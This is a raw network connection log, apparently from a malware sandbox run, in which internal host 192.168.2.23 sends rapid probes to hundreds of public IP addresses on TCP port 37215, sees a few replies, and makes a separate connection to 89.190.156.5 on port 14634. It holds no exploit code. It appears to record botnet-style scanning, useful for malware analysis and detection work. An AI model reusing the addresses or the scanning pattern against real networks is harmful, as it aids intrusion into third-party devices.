Dec 30, 2023 07:13:51.367662907 CET	3641	37215	192.168.2.23	197.151.56.130
Dec 30, 2023 07:13:51.367664099 CET	3641	37215	192.168.2.23	154.86.72.50
Dec 30, 2023 07:13:51.367672920 CET	3641	37215	192.168.2.23	197.137.166.68
Dec 30, 2023 07:13:51.367672920 CET	3641	37215	192.168.2.23	156.52.255.154
Dec 30, 2023 07:13:51.367672920 CET	3641	37215	192.168.2.23	156.135.61.102
Dec 30, 2023 07:13:51.367672920 CET	3641	37215	192.168.2.23	107.10.184.155
Dec 30, 2023 07:13:51.367686033 CET	3641	37215	192.168.2.23	41.235.71.115
Dec 30, 2023 07:13:51.367686033 CET	3641	37215	192.168.2.23	107.146.63.44
Dec 30, 2023 07:13:51.367686033 CET	3641	37215	192.168.2.23	41.241.67.163
Dec 30, 2023 07:13:51.367691994 CET	3641	37215	192.168.2.23	102.187.110.214
Dec 30, 2023 07:13:51.367700100 CET	3641	37215	192.168.2.23	41.94.36.85
Dec 30, 2023 07:13:51.367712021 CET	3641	37215	192.168.2.23	41.92.95.89
Dec 30, 2023 07:13:51.367717981 CET	3641	37215	192.168.2.23	120.125.217.252
Dec 30, 2023 07:13:51.367717981 CET	3641	37215	192.168.2.23	41.119.99.144
Dec 30, 2023 07:13:51.367719889 CET	3641	37215	192.168.2.23	156.25.160.233
Dec 30, 2023 07:13:51.367727041 CET	3641	37215	192.168.2.23	156.29.178.30
Dec 30, 2023 07:13:51.367728949 CET	3641	37215	192.168.2.23	197.182.207.22
Dec 30, 2023 07:13:51.367728949 CET	3641	37215	192.168.2.23	196.199.58.86
Dec 30, 2023 07:13:51.367728949 CET	3641	37215	192.168.2.23	107.111.41.145
Dec 30, 2023 07:13:51.367736101 CET	3641	37215	192.168.2.23	156.249.74.145
Dec 30, 2023 07:13:51.367736101 CET	3641	37215	192.168.2.23	41.168.162.131
Dec 30, 2023 07:13:51.367737055 CET	3641	37215	192.168.2.23	197.133.240.167
Dec 30, 2023 07:13:51.367737055 CET	3641	37215	192.168.2.23	94.254.87.44
Dec 30, 2023 07:13:51.367747068 CET	3641	37215	192.168.2.23	197.196.139.132
Dec 30, 2023 07:13:51.367747068 CET	3641	37215	192.168.2.23	197.47.238.149
Dec 30, 2023 07:13:51.367747068 CET	3641	37215	192.168.2.23	122.49.13.93
Dec 30, 2023 07:13:51.367747068 CET	3641	37215	192.168.2.23	197.10.16.84
Dec 30, 2023 07:13:51.367747068 CET	3641	37215	192.168.2.23	156.120.123.24
Dec 30, 2023 07:13:51.367747068 CET	3641	37215	192.168.2.23	41.76.212.211
Dec 30, 2023 07:13:51.367747068 CET	3641	37215	192.168.2.23	138.211.142.240
Dec 30, 2023 07:13:51.367747068 CET	3641	37215	192.168.2.23	197.239.131.146
Dec 30, 2023 07:13:51.367753983 CET	3641	37215	192.168.2.23	222.138.166.243
Dec 30, 2023 07:13:51.367753983 CET	3641	37215	192.168.2.23	197.6.254.23
Dec 30, 2023 07:13:51.367753983 CET	3641	37215	192.168.2.23	197.127.12.244
Dec 30, 2023 07:13:51.367753983 CET	3641	37215	192.168.2.23	197.255.226.79
Dec 30, 2023 07:13:51.367755890 CET	3641	37215	192.168.2.23	197.19.152.242
Dec 30, 2023 07:13:51.367753983 CET	3641	37215	192.168.2.23	197.254.204.190
Dec 30, 2023 07:13:51.367755890 CET	3641	37215	192.168.2.23	190.183.199.153
Dec 30, 2023 07:13:51.367763042 CET	3641	37215	192.168.2.23	156.201.61.61
Dec 30, 2023 07:13:51.367763042 CET	3641	37215	192.168.2.23	197.197.186.202
Dec 30, 2023 07:13:51.367770910 CET	3641	37215	192.168.2.23	41.129.89.74
Dec 30, 2023 07:13:51.367774963 CET	3641	37215	192.168.2.23	156.100.135.66
Dec 30, 2023 07:13:51.367774963 CET	3641	37215	192.168.2.23	156.8.226.251
Dec 30, 2023 07:13:51.367784023 CET	3641	37215	192.168.2.23	120.23.158.174
Dec 30, 2023 07:13:51.367786884 CET	3641	37215	192.168.2.23	120.193.85.248
Dec 30, 2023 07:13:51.367786884 CET	3641	37215	192.168.2.23	156.38.17.99
Dec 30, 2023 07:13:51.367789030 CET	3641	37215	192.168.2.23	222.96.227.226
Dec 30, 2023 07:13:51.367789030 CET	3641	37215	192.168.2.23	197.87.94.229
Dec 30, 2023 07:13:51.367789984 CET	3641	37215	192.168.2.23	156.47.194.146
Dec 30, 2023 07:13:51.367789984 CET	3641	37215	192.168.2.23	197.254.146.120
Dec 30, 2023 07:13:51.367796898 CET	3641	37215	192.168.2.23	41.176.94.119
Dec 30, 2023 07:13:51.367798090 CET	3641	37215	192.168.2.23	190.173.53.31
Dec 30, 2023 07:13:51.367799044 CET	3641	37215	192.168.2.23	197.191.199.79
Dec 30, 2023 07:13:51.367799044 CET	3641	37215	192.168.2.23	197.178.51.98
Dec 30, 2023 07:13:51.367799044 CET	3641	37215	192.168.2.23	122.170.169.253
Dec 30, 2023 07:13:51.367805958 CET	3641	37215	192.168.2.23	37.142.25.147
Dec 30, 2023 07:13:51.367806911 CET	3641	37215	192.168.2.23	41.142.180.156
Dec 30, 2023 07:13:51.367815018 CET	3641	37215	192.168.2.23	222.45.41.65
Dec 30, 2023 07:13:51.367815971 CET	3641	37215	192.168.2.23	37.245.100.116
Dec 30, 2023 07:13:51.367816925 CET	3641	37215	192.168.2.23	95.104.37.192
Dec 30, 2023 07:13:51.367816925 CET	3641	37215	192.168.2.23	197.26.221.174
Dec 30, 2023 07:13:51.367820024 CET	3641	37215	192.168.2.23	197.211.104.40
Dec 30, 2023 07:13:51.367820024 CET	3641	37215	192.168.2.23	154.247.81.45
Dec 30, 2023 07:13:51.367820024 CET	3641	37215	192.168.2.23	94.168.154.48
Dec 30, 2023 07:13:51.367820978 CET	3641	37215	192.168.2.23	156.172.134.38
Dec 30, 2023 07:13:51.367831945 CET	3641	37215	192.168.2.23	120.212.86.100
Dec 30, 2023 07:13:51.367831945 CET	3641	37215	192.168.2.23	197.132.214.78
Dec 30, 2023 07:13:51.367835999 CET	3641	37215	192.168.2.23	197.36.42.216
Dec 30, 2023 07:13:51.367840052 CET	3641	37215	192.168.2.23	197.60.204.0
Dec 30, 2023 07:13:51.367840052 CET	3641	37215	192.168.2.23	156.71.85.94
Dec 30, 2023 07:13:51.367840052 CET	3641	37215	192.168.2.23	138.99.28.166
Dec 30, 2023 07:13:51.367841005 CET	3641	37215	192.168.2.23	41.105.187.244
Dec 30, 2023 07:13:51.367841005 CET	3641	37215	192.168.2.23	45.14.196.198
Dec 30, 2023 07:13:51.367841005 CET	3641	37215	192.168.2.23	95.37.239.208
Dec 30, 2023 07:13:51.367846012 CET	3641	37215	192.168.2.23	160.144.179.141
Dec 30, 2023 07:13:51.367846966 CET	3641	37215	192.168.2.23	122.1.172.125
Dec 30, 2023 07:13:51.367846966 CET	3641	37215	192.168.2.23	37.29.77.35
Dec 30, 2023 07:13:51.367846966 CET	3641	37215	192.168.2.23	197.186.112.13
Dec 30, 2023 07:13:51.367846966 CET	3641	37215	192.168.2.23	154.33.231.5
Dec 30, 2023 07:13:51.367850065 CET	3641	37215	192.168.2.23	122.66.183.156
Dec 30, 2023 07:13:51.367852926 CET	3641	37215	192.168.2.23	37.186.38.70
Dec 30, 2023 07:13:51.367852926 CET	3641	37215	192.168.2.23	156.243.81.0
Dec 30, 2023 07:13:51.367856979 CET	3641	37215	192.168.2.23	156.202.153.112
Dec 30, 2023 07:13:51.367860079 CET	3641	37215	192.168.2.23	41.189.173.35
Dec 30, 2023 07:13:51.367861032 CET	3641	37215	192.168.2.23	157.121.161.112
Dec 30, 2023 07:13:51.367862940 CET	3641	37215	192.168.2.23	197.5.243.27
Dec 30, 2023 07:13:51.367868900 CET	3641	37215	192.168.2.23	122.190.246.128
Dec 30, 2023 07:13:51.367875099 CET	3641	37215	192.168.2.23	156.67.5.47
Dec 30, 2023 07:13:51.367875099 CET	3641	37215	192.168.2.23	197.210.208.86
Dec 30, 2023 07:13:51.367875099 CET	3641	37215	192.168.2.23	156.17.247.85
Dec 30, 2023 07:13:51.367877960 CET	3641	37215	192.168.2.23	41.36.231.115
Dec 30, 2023 07:13:51.367877960 CET	3641	37215	192.168.2.23	41.148.19.63
Dec 30, 2023 07:13:51.367881060 CET	3641	37215	192.168.2.23	41.214.137.118
Dec 30, 2023 07:13:51.367881060 CET	3641	37215	192.168.2.23	41.209.9.159
Dec 30, 2023 07:13:51.367881060 CET	3641	37215	192.168.2.23	45.71.100.169
Dec 30, 2023 07:13:51.367881060 CET	3641	37215	192.168.2.23	156.218.50.220
Dec 30, 2023 07:13:51.367887974 CET	3641	37215	192.168.2.23	41.12.48.252
Dec 30, 2023 07:13:51.367887974 CET	3641	37215	192.168.2.23	156.152.68.203
Dec 30, 2023 07:13:51.367887974 CET	3641	37215	192.168.2.23	181.215.94.223
Dec 30, 2023 07:13:51.367887974 CET	3641	37215	192.168.2.23	41.171.19.96
Dec 30, 2023 07:13:51.367887974 CET	3641	37215	192.168.2.23	197.74.234.146
Dec 30, 2023 07:13:51.367887974 CET	3641	37215	192.168.2.23	156.222.100.151
Dec 30, 2023 07:13:51.367887974 CET	3641	37215	192.168.2.23	156.200.110.83
Dec 30, 2023 07:13:51.367887974 CET	3641	37215	192.168.2.23	94.229.141.51
Dec 30, 2023 07:13:51.367889881 CET	3641	37215	192.168.2.23	181.9.78.130
Dec 30, 2023 07:13:51.367891073 CET	3641	37215	192.168.2.23	120.125.83.121
Dec 30, 2023 07:13:51.367891073 CET	3641	37215	192.168.2.23	156.171.78.196
Dec 30, 2023 07:13:51.367894888 CET	3641	37215	192.168.2.23	156.205.239.141
Dec 30, 2023 07:13:51.367896080 CET	3641	37215	192.168.2.23	156.115.18.202
Dec 30, 2023 07:13:51.367894888 CET	3641	37215	192.168.2.23	94.58.98.99
Dec 30, 2023 07:13:51.367906094 CET	3641	37215	192.168.2.23	92.13.69.230
Dec 30, 2023 07:13:51.367911100 CET	3641	37215	192.168.2.23	41.60.96.46
Dec 30, 2023 07:13:51.367914915 CET	3641	37215	192.168.2.23	156.118.215.121
Dec 30, 2023 07:13:51.367917061 CET	3641	37215	192.168.2.23	102.126.101.109
Dec 30, 2023 07:13:51.367917061 CET	3641	37215	192.168.2.23	197.100.59.212
Dec 30, 2023 07:13:51.367917061 CET	3641	37215	192.168.2.23	41.226.212.84
Dec 30, 2023 07:13:51.367918015 CET	3641	37215	192.168.2.23	197.196.249.69
Dec 30, 2023 07:13:51.367919922 CET	3641	37215	192.168.2.23	156.108.42.104
Dec 30, 2023 07:13:51.367940903 CET	3641	37215	192.168.2.23	120.218.69.20
Dec 30, 2023 07:13:51.367942095 CET	3641	37215	192.168.2.23	122.164.146.225
Dec 30, 2023 07:13:51.367940903 CET	3641	37215	192.168.2.23	95.37.247.162
Dec 30, 2023 07:13:51.367942095 CET	3641	37215	192.168.2.23	186.52.168.72
Dec 30, 2023 07:13:51.367942095 CET	3641	37215	192.168.2.23	156.11.53.6
Dec 30, 2023 07:13:51.367940903 CET	3641	37215	192.168.2.23	41.177.59.240
Dec 30, 2023 07:13:51.367942095 CET	3641	37215	192.168.2.23	41.246.21.204
Dec 30, 2023 07:13:51.367940903 CET	3641	37215	192.168.2.23	197.58.146.245
Dec 30, 2023 07:13:51.367942095 CET	3641	37215	192.168.2.23	197.29.133.120
Dec 30, 2023 07:13:51.367945910 CET	3641	37215	192.168.2.23	102.132.57.221
Dec 30, 2023 07:13:51.367945910 CET	3641	37215	192.168.2.23	160.211.173.214
Dec 30, 2023 07:13:51.367945910 CET	3641	37215	192.168.2.23	41.198.10.151
Dec 30, 2023 07:13:51.367949009 CET	3641	37215	192.168.2.23	196.128.142.66
Dec 30, 2023 07:13:51.367949009 CET	3641	37215	192.168.2.23	197.162.62.16
Dec 30, 2023 07:13:51.367949009 CET	3641	37215	192.168.2.23	197.156.203.9
Dec 30, 2023 07:13:51.367949009 CET	3641	37215	192.168.2.23	122.105.19.13
Dec 30, 2023 07:13:51.367949009 CET	3641	37215	192.168.2.23	41.213.38.25
Dec 30, 2023 07:13:51.367949009 CET	3641	37215	192.168.2.23	156.225.140.146
Dec 30, 2023 07:13:51.367954016 CET	3641	37215	192.168.2.23	41.66.14.148
Dec 30, 2023 07:13:51.367954016 CET	3641	37215	192.168.2.23	122.139.199.1
Dec 30, 2023 07:13:51.367959976 CET	3641	37215	192.168.2.23	156.241.124.96
Dec 30, 2023 07:13:51.367965937 CET	3641	37215	192.168.2.23	190.46.104.160
Dec 30, 2023 07:13:51.367965937 CET	3641	37215	192.168.2.23	186.105.62.212
Dec 30, 2023 07:13:51.367971897 CET	3641	37215	192.168.2.23	41.83.79.35
Dec 30, 2023 07:13:51.367971897 CET	3641	37215	192.168.2.23	160.183.206.188
Dec 30, 2023 07:13:51.367975950 CET	3641	37215	192.168.2.23	41.205.227.127
Dec 30, 2023 07:13:51.367975950 CET	3641	37215	192.168.2.23	156.200.117.65
Dec 30, 2023 07:13:51.367981911 CET	3641	37215	192.168.2.23	156.43.192.55
Dec 30, 2023 07:13:51.367983103 CET	3641	37215	192.168.2.23	121.117.79.150
Dec 30, 2023 07:13:51.367981911 CET	3641	37215	192.168.2.23	102.130.175.112
Dec 30, 2023 07:13:51.367985010 CET	3641	37215	192.168.2.23	41.134.109.79
Dec 30, 2023 07:13:51.367983103 CET	3641	37215	192.168.2.23	156.212.77.242
Dec 30, 2023 07:13:51.367985964 CET	3641	37215	192.168.2.23	122.217.39.33
Dec 30, 2023 07:13:51.367988110 CET	3641	37215	192.168.2.23	41.153.85.226
Dec 30, 2023 07:13:51.367985964 CET	3641	37215	192.168.2.23	196.218.129.249
Dec 30, 2023 07:13:51.367983103 CET	3641	37215	192.168.2.23	92.166.150.131
Dec 30, 2023 07:13:51.367983103 CET	3641	37215	192.168.2.23	197.228.251.6
Dec 30, 2023 07:13:51.367990017 CET	3641	37215	192.168.2.23	190.179.252.140
Dec 30, 2023 07:13:51.367983103 CET	3641	37215	192.168.2.23	197.7.124.117
Dec 30, 2023 07:13:51.367985964 CET	3641	37215	192.168.2.23	95.40.138.106
Dec 30, 2023 07:13:51.367990017 CET	3641	37215	192.168.2.23	197.131.107.103
Dec 30, 2023 07:13:51.367990017 CET	3641	37215	192.168.2.23	156.252.46.182
Dec 30, 2023 07:13:51.367999077 CET	3641	37215	192.168.2.23	197.150.248.154
Dec 30, 2023 07:13:51.367999077 CET	3641	37215	192.168.2.23	197.51.18.178
Dec 30, 2023 07:13:51.368002892 CET	3641	37215	192.168.2.23	197.34.161.172
Dec 30, 2023 07:13:51.368002892 CET	3641	37215	192.168.2.23	197.54.113.226
Dec 30, 2023 07:13:51.368002892 CET	3641	37215	192.168.2.23	41.208.74.32
Dec 30, 2023 07:13:51.368005037 CET	3641	37215	192.168.2.23	41.121.11.36
Dec 30, 2023 07:13:51.368019104 CET	3641	37215	192.168.2.23	122.64.121.169
Dec 30, 2023 07:13:51.368020058 CET	3641	37215	192.168.2.23	197.203.99.202
Dec 30, 2023 07:13:51.368020058 CET	3641	37215	192.168.2.23	156.89.2.74
Dec 30, 2023 07:13:51.368021965 CET	3641	37215	192.168.2.23	156.217.191.61
Dec 30, 2023 07:13:51.368030071 CET	3641	37215	192.168.2.23	156.176.151.80
Dec 30, 2023 07:13:51.368030071 CET	3641	37215	192.168.2.23	197.99.67.197
Dec 30, 2023 07:13:51.368030071 CET	3641	37215	192.168.2.23	154.106.167.90
Dec 30, 2023 07:13:51.368032932 CET	3641	37215	192.168.2.23	37.155.61.60
Dec 30, 2023 07:13:51.368035078 CET	3641	37215	192.168.2.23	197.182.144.33
Dec 30, 2023 07:13:51.368037939 CET	3641	37215	192.168.2.23	156.172.55.133
Dec 30, 2023 07:13:51.368038893 CET	3641	37215	192.168.2.23	156.186.192.47
Dec 30, 2023 07:13:51.368050098 CET	3641	37215	192.168.2.23	197.69.222.0
Dec 30, 2023 07:13:51.368052959 CET	3641	37215	192.168.2.23	156.19.135.114
Dec 30, 2023 07:13:51.368052959 CET	3641	37215	192.168.2.23	197.137.149.65
Dec 30, 2023 07:13:51.368052959 CET	3641	37215	192.168.2.23	156.27.72.164
Dec 30, 2023 07:13:51.368057966 CET	3641	37215	192.168.2.23	156.177.250.20
Dec 30, 2023 07:13:51.368072033 CET	3641	37215	192.168.2.23	156.57.212.121
Dec 30, 2023 07:13:51.368072033 CET	3641	37215	192.168.2.23	138.153.149.60
Dec 30, 2023 07:13:51.368081093 CET	3641	37215	192.168.2.23	41.139.192.220
Dec 30, 2023 07:13:51.368083954 CET	3641	37215	192.168.2.23	41.3.244.110
Dec 30, 2023 07:13:51.368083954 CET	3641	37215	192.168.2.23	41.104.227.17
Dec 30, 2023 07:13:51.368086100 CET	3641	37215	192.168.2.23	160.121.70.212
Dec 30, 2023 07:13:51.368087053 CET	3641	37215	192.168.2.23	196.89.167.76
Dec 30, 2023 07:13:51.368088961 CET	3641	37215	192.168.2.23	197.66.217.191
Dec 30, 2023 07:13:51.368092060 CET	3641	37215	192.168.2.23	41.110.115.171
Dec 30, 2023 07:13:51.368093014 CET	3641	37215	192.168.2.23	197.255.74.83
Dec 30, 2023 07:13:51.368093967 CET	3641	37215	192.168.2.23	156.234.22.57
Dec 30, 2023 07:13:51.368100882 CET	3641	37215	192.168.2.23	107.112.92.136
Dec 30, 2023 07:13:51.368100882 CET	3641	37215	192.168.2.23	197.119.167.140
Dec 30, 2023 07:13:51.368102074 CET	3641	37215	192.168.2.23	41.72.180.171
Dec 30, 2023 07:13:51.368100882 CET	3641	37215	192.168.2.23	102.72.180.187
Dec 30, 2023 07:13:51.368100882 CET	3641	37215	192.168.2.23	197.134.220.3
Dec 30, 2023 07:13:51.368100882 CET	3641	37215	192.168.2.23	197.83.244.81
Dec 30, 2023 07:13:51.368108034 CET	3641	37215	192.168.2.23	197.149.82.128
Dec 30, 2023 07:13:51.368108988 CET	3641	37215	192.168.2.23	121.4.123.245
Dec 30, 2023 07:13:51.368113041 CET	3641	37215	192.168.2.23	156.253.150.18
Dec 30, 2023 07:13:51.368114948 CET	3641	37215	192.168.2.23	41.126.125.15
Dec 30, 2023 07:13:51.368120909 CET	3641	37215	192.168.2.23	102.146.140.79
Dec 30, 2023 07:13:51.368120909 CET	3641	37215	192.168.2.23	156.3.15.139
Dec 30, 2023 07:13:51.368120909 CET	3641	37215	192.168.2.23	156.39.40.167
Dec 30, 2023 07:13:51.368124008 CET	3641	37215	192.168.2.23	41.96.138.72
Dec 30, 2023 07:13:51.368124008 CET	3641	37215	192.168.2.23	156.127.127.197
Dec 30, 2023 07:13:51.368125916 CET	3641	37215	192.168.2.23	197.95.75.105
Dec 30, 2023 07:13:51.368129969 CET	3641	37215	192.168.2.23	41.144.20.45
Dec 30, 2023 07:13:51.368130922 CET	3641	37215	192.168.2.23	186.56.242.217
Dec 30, 2023 07:13:51.368139029 CET	3641	37215	192.168.2.23	41.130.107.189
Dec 30, 2023 07:13:51.368145943 CET	3641	37215	192.168.2.23	190.37.122.102
Dec 30, 2023 07:13:51.368149996 CET	3641	37215	192.168.2.23	107.192.226.62
Dec 30, 2023 07:13:51.368151903 CET	3641	37215	192.168.2.23	197.202.20.30
Dec 30, 2023 07:13:51.368155003 CET	3641	37215	192.168.2.23	41.5.184.181
Dec 30, 2023 07:13:51.368163109 CET	3641	37215	192.168.2.23	197.88.165.96
Dec 30, 2023 07:13:51.368164062 CET	3641	37215	192.168.2.23	156.132.237.82
Dec 30, 2023 07:13:51.368164062 CET	3641	37215	192.168.2.23	41.239.32.193
Dec 30, 2023 07:13:51.368165016 CET	3641	37215	192.168.2.23	197.239.157.33
Dec 30, 2023 07:13:51.368165970 CET	3641	37215	192.168.2.23	181.58.142.97
Dec 30, 2023 07:13:51.368165970 CET	3641	37215	192.168.2.23	156.103.133.200
Dec 30, 2023 07:13:51.368165970 CET	3641	37215	192.168.2.23	37.197.1.145
Dec 30, 2023 07:13:51.368171930 CET	3641	37215	192.168.2.23	196.224.23.249
Dec 30, 2023 07:13:51.368174076 CET	3641	37215	192.168.2.23	156.242.171.140
Dec 30, 2023 07:13:51.368181944 CET	3641	37215	192.168.2.23	197.4.71.3
Dec 30, 2023 07:13:51.368187904 CET	3641	37215	192.168.2.23	41.30.61.28
Dec 30, 2023 07:13:51.368187904 CET	3641	37215	192.168.2.23	102.73.6.70
Dec 30, 2023 07:13:51.368189096 CET	3641	37215	192.168.2.23	197.8.66.189
Dec 30, 2023 07:13:51.368189096 CET	3641	37215	192.168.2.23	41.139.225.228
Dec 30, 2023 07:13:51.368191004 CET	3641	37215	192.168.2.23	156.93.58.156
Dec 30, 2023 07:13:51.368191004 CET	3641	37215	192.168.2.23	197.86.179.252
Dec 30, 2023 07:13:51.368191004 CET	3641	37215	192.168.2.23	197.17.34.126
Dec 30, 2023 07:13:51.368199110 CET	3641	37215	192.168.2.23	197.211.70.157
Dec 30, 2023 07:13:51.368199110 CET	3641	37215	192.168.2.23	138.92.152.169
Dec 30, 2023 07:13:51.368200064 CET	3641	37215	192.168.2.23	92.167.11.246
Dec 30, 2023 07:13:51.368199110 CET	3641	37215	192.168.2.23	156.83.229.87
Dec 30, 2023 07:13:51.368200064 CET	3641	37215	192.168.2.23	41.180.55.197
Dec 30, 2023 07:13:51.368202925 CET	3641	37215	192.168.2.23	41.5.117.211
Dec 30, 2023 07:13:51.368210077 CET	3641	37215	192.168.2.23	41.79.21.124
Dec 30, 2023 07:13:51.368210077 CET	3641	37215	192.168.2.23	156.230.194.39
Dec 30, 2023 07:13:51.368210077 CET	3641	37215	192.168.2.23	186.203.235.86
Dec 30, 2023 07:13:51.368220091 CET	3641	37215	192.168.2.23	156.202.23.81
Dec 30, 2023 07:13:51.368220091 CET	3641	37215	192.168.2.23	196.231.146.186
Dec 30, 2023 07:13:51.368220091 CET	3641	37215	192.168.2.23	41.5.227.8
Dec 30, 2023 07:13:51.368220091 CET	3641	37215	192.168.2.23	197.16.152.12
Dec 30, 2023 07:13:51.368221045 CET	3641	37215	192.168.2.23	92.141.208.224
Dec 30, 2023 07:13:51.368221045 CET	3641	37215	192.168.2.23	138.101.41.181
Dec 30, 2023 07:13:51.368221998 CET	3641	37215	192.168.2.23	156.13.202.145
Dec 30, 2023 07:13:51.368225098 CET	3641	37215	192.168.2.23	156.250.79.148
Dec 30, 2023 07:13:51.368226051 CET	3641	37215	192.168.2.23	156.30.82.224
Dec 30, 2023 07:13:51.368226051 CET	3641	37215	192.168.2.23	156.112.31.166
Dec 30, 2023 07:13:51.368235111 CET	3641	37215	192.168.2.23	197.173.193.37
Dec 30, 2023 07:13:51.368235111 CET	3641	37215	192.168.2.23	41.160.220.134
Dec 30, 2023 07:13:51.368237972 CET	3641	37215	192.168.2.23	156.217.61.105
Dec 30, 2023 07:13:51.368237972 CET	3641	37215	192.168.2.23	41.121.210.69
Dec 30, 2023 07:13:51.368237972 CET	3641	37215	192.168.2.23	197.88.206.61
Dec 30, 2023 07:13:51.368241072 CET	3641	37215	192.168.2.23	197.228.112.149
Dec 30, 2023 07:13:51.368241072 CET	3641	37215	192.168.2.23	197.173.233.10
Dec 30, 2023 07:13:51.368252039 CET	3641	37215	192.168.2.23	41.194.28.123
Dec 30, 2023 07:13:51.368252993 CET	3641	37215	192.168.2.23	120.63.190.37
Dec 30, 2023 07:13:51.368263006 CET	3641	37215	192.168.2.23	197.33.19.35
Dec 30, 2023 07:13:51.368263006 CET	3641	37215	192.168.2.23	190.223.117.30
Dec 30, 2023 07:13:51.368263960 CET	3641	37215	192.168.2.23	156.77.211.178
Dec 30, 2023 07:13:51.368263960 CET	3641	37215	192.168.2.23	197.235.118.41
Dec 30, 2023 07:13:51.368266106 CET	3641	37215	192.168.2.23	94.148.246.244
Dec 30, 2023 07:13:51.368266106 CET	3641	37215	192.168.2.23	186.48.242.94
Dec 30, 2023 07:13:51.368266106 CET	3641	37215	192.168.2.23	156.173.46.246
Dec 30, 2023 07:13:51.368266106 CET	3641	37215	192.168.2.23	197.232.138.207
Dec 30, 2023 07:13:51.368269920 CET	3641	37215	192.168.2.23	41.130.0.78
Dec 30, 2023 07:13:51.368275881 CET	3641	37215	192.168.2.23	156.151.139.214
Dec 30, 2023 07:13:51.368278027 CET	3641	37215	192.168.2.23	138.127.77.91
Dec 30, 2023 07:13:51.368283033 CET	3641	37215	192.168.2.23	156.39.224.80
Dec 30, 2023 07:13:51.368287086 CET	3641	37215	192.168.2.23	121.234.158.206
Dec 30, 2023 07:13:51.368292093 CET	3641	37215	192.168.2.23	45.232.255.229
Dec 30, 2023 07:13:51.368294954 CET	3641	37215	192.168.2.23	41.1.233.118
Dec 30, 2023 07:13:51.368304968 CET	3641	37215	192.168.2.23	156.197.244.248
Dec 30, 2023 07:13:51.368314028 CET	3641	37215	192.168.2.23	156.247.158.186
Dec 30, 2023 07:13:51.368314028 CET	3641	37215	192.168.2.23	41.248.30.85
Dec 30, 2023 07:13:51.368319035 CET	3641	37215	192.168.2.23	197.36.202.146
Dec 30, 2023 07:13:51.368320942 CET	3641	37215	192.168.2.23	156.188.208.193
Dec 30, 2023 07:13:51.369802952 CET	42718	37215	192.168.2.23	156.73.139.174
Dec 30, 2023 07:13:51.395443916 CET	37215	3641	197.7.123.35	192.168.2.23
Dec 30, 2023 07:13:51.401808023 CET	40494	37215	192.168.2.23	156.73.197.20
Dec 30, 2023 07:13:51.401812077 CET	42516	80	192.168.2.23	109.202.202.202
Dec 30, 2023 07:13:51.521249056 CET	37215	3641	45.232.255.229	192.168.2.23
Dec 30, 2023 07:13:51.537169933 CET	37215	3641	156.224.174.11	192.168.2.23
Dec 30, 2023 07:13:51.670701027 CET	37215	3641	95.104.37.192	192.168.2.23
Dec 30, 2023 07:13:51.676712036 CET	37215	3641	197.4.71.3	192.168.2.23
Dec 30, 2023 07:13:51.676759958 CET	3641	37215	192.168.2.23	197.4.71.3
Dec 30, 2023 07:13:51.676995993 CET	37215	3641	197.4.71.3	192.168.2.23
Dec 30, 2023 07:13:51.782130957 CET	37215	3641	41.120.25.57	192.168.2.23
Dec 30, 2023 07:13:51.849735022 CET	42724	14634	192.168.2.23	89.190.156.5
Dec 30, 2023 07:13:52.077874899 CET	37215	3641	197.128.16.77	192.168.2.23
Dec 30, 2023 07:13:52.092289925 CET	14634	42724	89.190.156.5	192.168.2.23
Dec 30, 2023 07:13:52.092351913 CET	14634	42724	89.190.156.5	192.168.2.23
Dec 30, 2023 07:13:52.092479944 CET	42724	14634	192.168.2.23	89.190.156.5
Dec 30, 2023 07:13:52.369323969 CET	3641	37215	192.168.2.23	156.59.16.94
Dec 30, 2023 07:13:52.369323969 CET	3641	37215	192.168.2.23	41.13.95.225
Dec 30, 2023 07:13:52.369324923 CET	3641	37215	192.168.2.23	156.158.169.53
Dec 30, 2023 07:13:52.369330883 CET	3641	37215	192.168.2.23	197.81.120.62
Dec 30, 2023 07:13:52.369333982 CET	3641	37215	192.168.2.23	160.11.207.111
Dec 30, 2023 07:13:52.369333982 CET	3641	37215	192.168.2.23	156.8.15.10
Dec 30, 2023 07:13:52.369333982 CET	3641	37215	192.168.2.23	222.110.235.96
Dec 30, 2023 07:13:52.369342089 CET	3641	37215	192.168.2.23	41.63.60.21
Dec 30, 2023 07:13:52.369342089 CET	3641	37215	192.168.2.23	197.8.176.132
Dec 30, 2023 07:13:52.369353056 CET	3641	37215	192.168.2.23	197.60.241.143
Dec 30, 2023 07:13:52.369354010 CET	3641	37215	192.168.2.23	121.204.58.31
Dec 30, 2023 07:13:52.369354010 CET	3641	37215	192.168.2.23	197.219.196.55
Dec 30, 2023 07:13:52.369354010 CET	3641	37215	192.168.2.23	156.2.150.148
Dec 30, 2023 07:13:52.369354963 CET	3641	37215	192.168.2.23	160.179.80.55
Dec 30, 2023 07:13:52.369354963 CET	3641	37215	192.168.2.23	95.106.133.142
Dec 30, 2023 07:13:52.369357109 CET	3641	37215	192.168.2.23	181.58.242.119
Dec 30, 2023 07:13:52.369357109 CET	3641	37215	192.168.2.23	95.199.238.26
Dec 30, 2023 07:13:52.369359016 CET	3641	37215	192.168.2.23	222.84.172.226
Dec 30, 2023 07:13:52.369359016 CET	3641	37215	192.168.2.23	121.231.3.158
Dec 30, 2023 07:13:52.369369984 CET	3641	37215	192.168.2.23	181.71.37.179
Dec 30, 2023 07:13:52.369378090 CET	3641	37215	192.168.2.23	41.1.173.218
Dec 30, 2023 07:13:52.369378090 CET	3641	37215	192.168.2.23	41.252.230.174
Dec 30, 2023 07:13:52.369383097 CET	3641	37215	192.168.2.23	197.151.255.56
Dec 30, 2023 07:13:52.369383097 CET	3641	37215	192.168.2.23	156.133.198.129
Dec 30, 2023 07:13:52.369386911 CET	3641	37215	192.168.2.23	181.5.116.217
Dec 30, 2023 07:13:52.369390011 CET	3641	37215	192.168.2.23	122.229.25.172
Dec 30, 2023 07:13:52.369398117 CET	3641	37215	192.168.2.23	160.177.180.18
Dec 30, 2023 07:13:52.369401932 CET	3641	37215	192.168.2.23	45.2.39.208
Dec 30, 2023 07:13:52.369404078 CET	3641	37215	192.168.2.23	138.99.179.32
Dec 30, 2023 07:13:52.369411945 CET	3641	37215	192.168.2.23	197.125.89.6
Dec 30, 2023 07:13:52.369414091 CET	3641	37215	192.168.2.23	157.246.82.255
Dec 30, 2023 07:13:52.369414091 CET	3641	37215	192.168.2.23	107.217.228.57
Dec 30, 2023 07:13:52.369422913 CET	3641	37215	192.168.2.23	41.1.2.77
Dec 30, 2023 07:13:52.369434118 CET	3641	37215	192.168.2.23	156.54.175.155
Dec 30, 2023 07:13:52.369435072 CET	3641	37215	192.168.2.23	41.43.67.182
Dec 30, 2023 07:13:52.369435072 CET	3641	37215	192.168.2.23	102.211.169.14
